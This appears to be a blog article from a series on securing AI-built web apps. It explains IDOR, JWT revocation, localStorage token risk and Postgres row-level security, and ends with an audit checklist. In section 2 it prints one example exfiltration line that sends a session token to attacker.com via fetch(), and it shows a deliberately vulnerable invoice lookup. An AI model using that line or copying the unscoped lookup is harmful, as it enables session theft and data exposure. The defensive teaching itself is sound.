
Day 4 — Your Users Can Log In. But Can They Access Someone Else's Data?
Part 4 of 11 in the Beyond the Prompt Series.
---
You run a sleek invoicing tool built in 48 hours with a Node.js frontend communicating with a Django REST backend and Stripe. You have 300 paying business accounts. The interface looks professional: polished glassmorphism, animated transitions, Google single sign-on (SSO), and biometric passkeys.
Then at 2:15 PM on a Thursday, an email arrives from a boutique law firm using your platform:
"Hello. We were reviewing our latest invoice at app.com/invoices/1042. Out of curiosity, our junior associate modified the browser URL to app.com/invoices/1041. We are currently looking at the full billing records, client names, and banking routing numbers of an enterprise competitor. Please confirm this is a staging glitch."
Your stomach drops. You open your source code and locate the invoice API route. It checks authentication:
if (!session.user) return res.status(401).send("Unauthorized");
And then it immediately executes:
const invoice = await db.invoices.findUnique({ where: { id: req.params.id } });
The user was logged in. The session token was valid. The authentication mechanism performed exactly as designed. What didn't exist was authorization.
Any authenticated user on the entire internet could view every private invoice in your database simply by incrementing an integer in their browser address bar. You had built a secure front door with no interior locks on any of the rooms.
---
1. Technical Context: The Boundary Between AuthN and AuthZ
The single most dangerous misconception in modern web development is treating authentication and authorization as interchangeable security concerns.
``
+-------------------------------------------------------------------------+
| THE TENANT ISOLATION BOUNDARY |
+-------------------------------------------------------------------------+
| AUTHENTICATION (AuthN) | AUTHORIZATION (AuthZ) |
| - Answers: "Who are you?" | - Answers: "Can you touch this?" |
| - Handled by: Clerk / Supabase | - Handled by: Relational Policies |
| - Produces: Verified JWT Session | - Produces: Row-Level Tenancy |
| | |
| [User Logs In: Verified ✅] ───────┼─► [Requests: /invoices/1041] |
| | │ |
| | ├── (No AuthZ Check) ──► LEAK!
| | │ |
| | └── (With RLS Policy) ─► 403
+-------------------------------------------------------------------------+
`
- Authentication (AuthN): The cryptographic verification of identity. It proves that the request originates from a user possessing valid credentials (password, session cookie, OIDC token, TOTP code).
- Authorization (AuthZ): The contextual verification of permission. It determines whether that authenticated identity has the right to read, modify, or delete a specific resource at a specific moment.
When developers build with AI assistants, the AI easily injects middleware that verifies the user's session token. But determining whether User A is permitted to access Invoice 1041 requires deep knowledge of your domain model: tenant relationships, organization memberships, and role hierarchies. Unless explicitly instructed to enforce tenancy boundaries, generated code defaults to naive record lookups.
---
2. How the Failure Happens: IDOR, Stale Tokens, and Browser Storage Traps
Security vulnerabilities in identity architecture rarely manifest as errors; they manifest as silent access over-privilege.
Insecure Direct Object References (IDOR)
IDOR occurs when an application exposes a direct identifier to an internal database object (such as an auto-incrementing integer or standard UUID) in an API endpoint, and fails to verify tenant ownership before returning the record. Attackers do not need complex exploitation frameworks to weaponize IDOR; they write five-line scripts that iterate through ID ranges (1000 to 5000), scraping your entire database in seconds.
The Stateless Token Revocation Blind Spot
Generative AI heavily favors stateless JSON Web Tokens (JWTs) stored in browser storage. The architectural flaw of pure stateless JWTs is that they cannot be invalidated immediately on demand.
- If an employee is terminated, or a user's laptop is stolen, simply deleting their record in the database does not prevent their active JWT from authenticating requests.
- Until the token reaches its cryptographic expiration time (often set by default to 30 days), the token remains valid across all application servers.
The
localStorage Credential Theft Trap
AI assistants frequently write client-side authentication helpers that store JWTs in the browser's localStorage (localStorage.setItem("token", jwt)).
- Any third-party JavaScript package in your application bundle—or any script injected via Cross-Site Scripting (XSS)—has complete programmatic read access to
localStorage.
If a single npm package is compromised in your supply chain, an attacker can extract every active session token with one line of code: fetch("https://attacker.com/steal?token=" + localStorage.getItem("token")).
---
3. Practical Use Cases & Architectural Comparison
Hardening an identity architecture requires implementing Row-Level Security, modern token rotation, and secure cookie transport.
The table below contrasts the naive, AI-generated approach with the enterprise standard across critical identity dimensions:
| Security Dimension | Naïve AI-Generated Approach | Production-Hardened Security Standard |
| :--- | :--- | :--- |
| Data Access | Fetch by ID; trust session existence. | Tenant-scoped queries or database-enforced Row-Level Security (RLS). |
| Token Storage | Stored in browser localStorage. | Encrypted, HttpOnly, Secure, SameSite=Lax cookies. |
| Session Lifetime | 30-day static, stateless JWTs. | Short-lived access tokens (15m) + revocable refresh token rotation. |
| Identifier Obfuscation| Sequential integers (/invoices/1). | Unpredictable UUIDv7 or prefixed IDs (inv_01h8x...). |
| Access Control | Hardcoded client checks (if user.isAdmin). | Server-side Role-Based (RBAC) or Attribute-Based (ABAC) policies. |
| Credential Reset | Reusable reset links without expiry. | Cryptographically random, single-use tokens expiring in 15 minutes. |
Enforcing Isolation with PostgreSQL Row-Level Security (RLS)
Instead of relying on every individual developer (or AI prompt) to remember to append WHERE organization_id = session.org_id to every query, enterprise systems enforce isolation at the database engine level.
With PostgreSQL RLS enabled on the invoices table:
Even if an application route executes SELECT FROM invoices WHERE id = 1041, the database engine intercepts the query.
- It evaluates the RLS policy against the current database session user:
CREATE POLICY tenant_isolation_policy ON invoices USING (organization_id = current_setting('app.current_org_id'));
If the row belongs to another organization, PostgreSQL returns an empty set as if the record never existed. Security is guaranteed by relational physics, not developer memory.
---
4. Limitations and Architectural Boundaries
While robust authorization is mandatory, teams must recognize architectural trade-offs to prevent system degradation:
1. Database RLS Query Planner Overhead: Enabling Row-Level Security requires the database engine to append security filters to every execution plan. On deeply joined, high-throughput queries, RLS can prevent certain index optimizations, requiring careful indexing of tenant keys across all joined tables.
2. The Distributed Session State Trade-off: Implementing revocable sessions requires maintaining a stateful record of active sessions in a centralized store (such as Redis). This introduces a distributed dependency: if the Redis cache becomes unreachable, user authentication halts globally.
3. Multi-Tenant Data Leaks in Shared Caches: If your application caches database queries in Redis using simple keys (cache:invoices:1041), a request from User B might retrieve cached invoice data belonging to User A if the cache key does not incorporate the organization ID.
---
5. Strategic Implications for Engineering Teams and Founders
The commercial consequences of authorization failures are existential:
- Regulatory Compliance & Mandatory Disclosures: Under GDPR, CCPA, and HIPAA, exposing customer records through an IDOR vulnerability constitutes a reportable data breach. Companies are legally required to notify affected users and regulatory authorities within 72 hours, resulting in substantial fines and reputational destruction.
- Enterprise Procurement Blockers: Enterprise clients will not purchase software that relies on application-level checks alone. They require proof of tenant isolation, verifiable role-based access control, and comprehensive audit trails during security reviews.
- The Cost of Breach Remediation: Remediating an unauthorized data exposure requires hiring forensic security auditors, executing emergency database updates, and issuing customer breach disclosures. Preventing it requires twenty minutes of architectural planning.
---
6. What Next: The Day 4 Action Plan
Audit your authentication and authorization boundaries today using these three tactical steps:
1. Execute the IDOR Incognito Test: Open your application. Log in as User A, locate a private resource, and copy the full URL. Open an incognito browser window, log in as User B, and paste the URL. If the page renders User A's data, you have an active IDOR breach.
2. Migrate Tokens to HttpOnly Cookies: Inspect your browser DevTools -> Application tab. If your session tokens reside in localStorage, update your authentication configuration to store tokens strictly in cookies with HttpOnly, Secure, and SameSite=Lax flags enabled.
3. Adopt Unpredictable Identifiers: If your database schemas use sequential integers (SERIAL) for primary keys exposed in URLs, migrate to UUIDv7 or nanoid strings to eliminate enumeration attacks.
---
Frequently Asked Questions (FAQs)
What is the difference between Authentication (AuthN) and Authorization (AuthZ)?
Authentication is the process of verifying who a user is (e.g., verifying a password or biometric passkey). Authorization is the process of verifying what specific resources or actions that authenticated user is permitted to access within the system.
What is an Insecure Direct Object Reference (IDOR)?
An IDOR vulnerability occurs when an application exposes a reference to an internal database object (such as /api/documents/52) in an API endpoint without validating that the authenticated user owns or has permission to view that specific object.
Why should authentication tokens not be stored in
localStorage?
Data stored in localStorage is accessible to any JavaScript running in the browser. If your website is compromised by an XSS attack or a malicious third-party dependency, attackers can read and exfiltrate your session tokens immediately. Storing tokens in HttpOnly` cookies prevents JavaScript from accessing them.
What is Row-Level Security (RLS)?
Row-Level Security is a database feature (supported by PostgreSQL) that restricts which rows in a table can be returned or modified by a query based on the user executing the operation, providing storage-level tenant isolation independent of application code.
How does Refresh Token Rotation improve security?
Refresh Token Rotation issues a new refresh token every time an access token is refreshed, while invalidating the previous refresh token. If an attacker steals a refresh token and attempts to use it after the legitimate user has already rotated it, the authentication server detects the reuse and invalidates all active sessions for that account immediately.
---
Conclusion
A login interface provides users with the illusion of security. But if your application fails to verify tenancy and permissions on every single database operation, you have not constructed a secure platform.
You have built a public database with a decorative curtain at the entrance.
👉 Continue to Day 5 — Security Is Not a Checkbox: Your AI Built a Secure-Looking App. Hackers Don't Care About Appearances.
---
Sources & References
OWASP Broken Access Control Verification Standard: Open Web Application Security Project. (Updated 2024). OWASP Top 10: Broken Access Control*. owasp.org/Top10/A01_2021-Broken_Access_Control
PostgreSQL Official Documentation on Row-Level Security: PostgreSQL Global Development Group. (Release 17, 2024). Row Security Policies*. postgresql.org/docs/current/ddl-rowsecurity.html
- RFC 7519 — JSON Web Token (JWT) Specification: Jones, M., Bradley, J., & Sakimura, N. (Published by IETF). datatracker.ietf.org/doc/html/rfc7519
- W3C Web Authentication: An API for accessing Scoped Credentials (WebAuthn): World Wide Web Consortium. (Recommendation Level 2). w3.org/TR/webauthn-2